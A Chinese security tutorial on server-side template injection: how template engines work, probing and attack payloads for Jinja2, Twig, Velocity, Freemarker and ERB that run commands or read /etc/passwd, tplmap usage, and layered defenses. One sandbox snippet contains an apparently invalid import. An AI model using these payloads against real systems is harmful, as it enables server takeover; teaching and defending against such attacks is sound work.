模板注入(SSTI):服务端模板的攻击艺术
模板注入(Server-Side Template Injection,SSTI)是一种严重的安全漏洞,攻击者可以通过注入模板语法来执行任意代码。本文将深入剖析SSTI的每一个细节,从漏洞原理到攻击技术,从漏洞检测到防御策略,提供超过8000字的深度分析,帮助你全面掌握SSTI安全的防御艺术。
第一章:模板引擎概述
1.1 什么是模板引擎
模板引擎是一种将模板与数据结合生成最终输出的工具,广泛用于Web应用开发。
模板引擎的作用:
1. 分离视图与逻辑:使代码更清晰
2. 动态内容生成:根据数据生成不同页面
3. 代码复用:使用模板继承和组件
常见模板引擎:
Python:Jinja2、Tornado、Django Templates
PHP:Twig、Blade、Smarty
Java:Velocity、Freemarker、Thymeleaf
JavaScript:Handlebars、EJS、Mustache
Ruby:ERB、Haml
1.2 模板语法基础
了解模板语法是理解SSTI的基础。
变量输出:
Jinja2:{{ name }}
Twig:{{ name }}
ERB:<%= name %>
条件判断:
Jinja2:{% if user.is_admin %}...{% endif %}
Twig:{% if user.isAdmin %}...{% endif %}
循环:
Jinja2:{% for item in items %}...{% endfor %}
模板继承:
Jinja2:{% extends "base.html" %}
1.3 模板的安全机制
模板引擎通常提供安全机制。
沙箱环境:
限制访问:限制对系统对象和函数的访问
白名单:只允许使用白名单中的功能
自动转义:自动转义HTML特殊字符防止XSS
禁止危险操作:禁止执行系统命令等
第二章:SSTI漏洞原理
2.1 什么是SSTI
SSTI(Server-Side Template Injection)是指攻击者通过用户输入控制模板内容,导致远程代码执行。
SSTI的本质:
用户输入被当作模板代码执行
攻击者可以执行任意代码
可能导致服务器被完全控制
2.2 SSTI与XSS的区别
SSTI和XSS都是注入漏洞,但有本质区别。
XSS(跨站脚本攻击):
注入JavaScript代码
在浏览器中执行
主要影响用户
SSTI(服务端模板注入):
注入模板代码
在服务器端执行
主要影响服务器
2.3 SSTI漏洞的常见场景
SSTI漏洞出现在多种场景中。
1. 用户输入直接作为模板:
// 不安全示例
template = f"Hello, {user_input}"
render_template_string(template)
2. 邮件模板:
允许用户自定义邮件模板
3. 静态站点生成器:
用户提交的内容作为模板
4. 报表生成器:
用户选择模板生成报表
5. 博客/ CMS系统:
允许使用模板语法
2.4 SSTI漏洞的识别
识别SSTI漏洞是攻击的第一步。
识别方法:
1. 模糊测试:
{{7*7}}
${7*7}
<%= 7*7 %>
2. 报错检测:
输入特殊字符引发报错
3. 盲注:
通过时间延迟判断是否存在SSTI
第三章:SSTI攻击技术
3.1 Jinja2 SSTI攻击
Jinja2是Python最常用的模板引擎,也是SSTI的高发区。
基础探测:
{{7*7}} → 输出49表示存在SSTI
读取配置:
{{config.items()}}
代码执行:
{{''.__class__.__mro__[2].__subclasses__()}}
读取文件:
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
执行命令:
{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
3.2 Twig SSTI攻击
Twig是PHP的模板引擎。
基础探测:
{{7*7}} → 输出49表示存在SSTI
代码执行:
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.getFilter("id")}}
另一种方式:
{{["id"]|filter("system")}}
读取配置:
{{_self.context}}
3.3 Velocity SSTI攻击
Velocity是Java的模板引擎。
基础探测:
${7*7} → 输出49表示存在SSTI
代码执行:
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")}
另一种方式:
$class.inspect("java.lang.Runtime").type.execute("id")
3.4 Freemarker SSTI攻击
Freemarker是Java的另一个常用模板引擎。
基础探测:
${7*7} → 输出49表示存在SSTI
代码执行:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
读取文件:
<#assign io="freemarker.template.utility.ObjectConstructor"?new()> ${ io("java.io.FileReader", "/etc/passwd").read() }
3.5 ERB SSTI攻击
ERB是Ruby的模板引擎。
基础探测:
<%= 7*7 %> → 输出49表示存在SSTI
代码执行:
<%= system("id") %>
另一种方式:
<%= `id` %>
读取文件:
<%= File.read('/etc/passwd') %>
第四章:SSTI漏洞检测与利用工具
4.1 TPLMap
TPLMap是专门用于检测和利用SSTI的工具。
安装:
git clone https://github.com/epinna/tplmap.git
使用:
./tplmap.py -u 'http://target.com/page?name=test'
检测选项:
-e:指定检测的引擎
-t:设置线程数
-o:输出结果到文件
4.2 手动检测技巧
手动检测SSTI需要技巧。
第一步:识别模板语法
{{ }}、${ }、<%= %>、{% %}
第二步:模糊测试
输入特殊字符:
{{7*7}}、${7*7}、<%= 7*7 %>
第三步:识别引擎
根据报错信息识别模板引擎
第四步:测试代码执行
使用特定Payload测试
4.3 自动化工具对比
不同工具适用于不同场景。
TPLMap:
支持多种模板引擎
自动检测和利用
Burp Suite:
适合手动测试
Intruder模块可批量测试
第五章:SSTI防御策略
5.1 不要将用户输入作为模板
最安全的做法是完全避免用户输入作为模板。
正确做法:
// 安全示例
template = "Hello, {{ name }}"
render_template_string(template, name=user_input)
错误做法:
// 不安全示例
template = f"Hello, {user_input}"
render_template_string(template)
5.2 使用沙箱
使用模板引擎的沙箱功能。
Jinja2沙箱:
from flask import sandbox
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
Twig沙箱:
$sandbox = new Twig_Sandbox_SecurityPolicy();
$env->setSandbox($sandbox);
5.3 输入验证
对用户输入进行严格验证。
验证规则:
1. 类型验证:确保输入是字符串
2. 长度限制:限制输入长度
3. 字符过滤:过滤模板特殊字符
4. 白名单:只允许白名单中的字符
代码示例:
import re
def validate_input(user_input):
if not isinstance(user_input, str):
return False
if len(user_input) > 100:
return False
if re.search(r'[${}%<>]', user_input):
return False
return True
5.4 最小权限原则
运行模板引擎时使用最小权限。
1. 以低权限用户运行
2. 限制文件系统访问
3. 限制网络访问
4. 限制命令执行
5.5 禁用危险功能
禁用模板引擎的危险功能。
Jinja2:
env.globals.pop('__import__', None)
env.globals.pop('eval', None)
env.globals.pop('exec', None)
Freemarker:
cfg.setNewBuiltinClassResolver(null)
第六章:真实案例分析
6.1 某Flask应用SSTI漏洞(2019)
漏洞描述:某Flask应用的搜索功能存在SSTI漏洞,攻击者可以执行任意代码。
漏洞原因:
使用render_template_string直接渲染用户输入
未进行任何过滤
修复方案:
使用render_template和模板变量
6.2 某WordPress插件SSTI漏洞(2020)
漏洞描述:某WordPress邮件模板插件存在SSTI漏洞。
漏洞原因:
允许用户自定义邮件模板
直接使用用户输入作为模板
修复方案:
使用白名单变量
实施输入验证
6.3 某Java应用SSTI漏洞(2021)
漏洞描述:某Java报表系统存在Freemarker SSTI漏洞。
漏洞原因:
用户可以选择报表模板
未验证模板内容
修复方案:
使用预定义模板
禁用危险内置函数
第七章:总结与最佳实践
7.1 防御原则
第一层:避免用户输入作为模板
• 使用render_template而不是render_template_string
• 使用模板变量而不是直接拼接
第二层:使用沙箱
• 使用模板引擎的沙箱功能
• 限制对系统对象的访问
第三层:输入验证
• 验证输入类型和长度
• 过滤模板特殊字符
第四层:最小权限
• 以低权限运行
• 禁用危险功能
7.2 代码审查 checklist
1. 是否使用了render_template_string?
2. 用户输入是否直接作为模板?
3. 是否使用了沙箱?
4. 是否进行了输入验证?
5. 是否禁用了危险功能?
7.3 SSTI安全的未来
随着技术的发展,SSTI安全也在不断演进:
• 更强大的沙箱:云原生沙箱技术
• 自动化检测:AI驱动的SSTI检测
• 安全模板设计:安全的模板语法设计
SSTI是一种严重的安全漏洞,可以导致服务器被完全控制。防御者需要从不使用用户输入作为模板、使用沙箱、输入验证、最小权限等多个层面构建防护体系。只有实施全面的安全策略,才能有效防止SSTI攻击。记住:安全是一个持续的过程,需要不断学习和改进。
—— 未完待续 ——
夜雨聆风